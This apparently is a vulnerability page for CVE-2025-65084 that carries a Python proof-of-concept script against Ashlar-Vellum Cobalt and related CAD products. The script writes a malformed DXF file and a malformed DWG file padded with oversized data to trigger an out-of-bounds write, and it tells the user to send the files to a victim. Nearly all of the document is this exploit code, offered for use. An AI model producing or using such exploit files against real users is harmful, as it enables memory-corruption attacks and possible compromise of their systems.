CVE-2025-65084: Ashlar-Vellum Cobalt越界写入漏洞

# CVE-2025-65084 PoC - Malformed DXF/DWG file triggering OOB Write # Target: Ashlar-Vellum Cobalt/Xenon/Argon/Lithium < 12.6.1204.216 import struct import sys def create_malicious_dxf(): """Generate a malformed DXF file with oversized entities to trigger OOB write""" # DXF file header with malicious entity data malicious_content = b"""0 SECTION 2 ENTITIES 0 LINE 8 0 10 0.0 20 0.0 30 0.0 11 """ # Create oversized coordinate data to trigger buffer overflow # This will cause out-of-bounds write when parsed by vulnerable parser oversized_data = b"A" * 65536 # 64KB of data to overflow buffer malicious_content += oversized_data + b""" 21 0.0 31 0.0 0 ENDSEC 0 EOF """ return malicious_content def create_malicious_dwg(): """Generate a malformed DWG file header to trigger OOB write""" # DWG file signature header = b"AC1027" # DWG R2013 signature # Malformed section handle table with oversized data # This will cause heap overflow during handle table parsing section_data = b"\x00" * 4 # Section size indicator section_data += b"\xFF" * 131072 # Oversized data to trigger OOB return header + section_data def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-65084-poc.py <output_file>") sys.exit(1) output_file = sys.argv[1] # Generate malicious DXF file malicious_dxf = create_malicious_dxf() with open(output_file + ".dxf", "wb") as f: f.write(malicious_dxf) # Generate malicious DWG file malicious_dwg = create_malicious_dwg() with open(output_file + ".dwg", "wb") as f: f.write(malicious_dwg) print(f"[+] Generated malicious files:") print(f" - {output_file}.dxf") print(f" - {output_file}.dwg") print(f"[+] Send these files to victim running Ashlar-Vellum Cobalt < 12.6.1204.216") if __name__ == "__main__": main()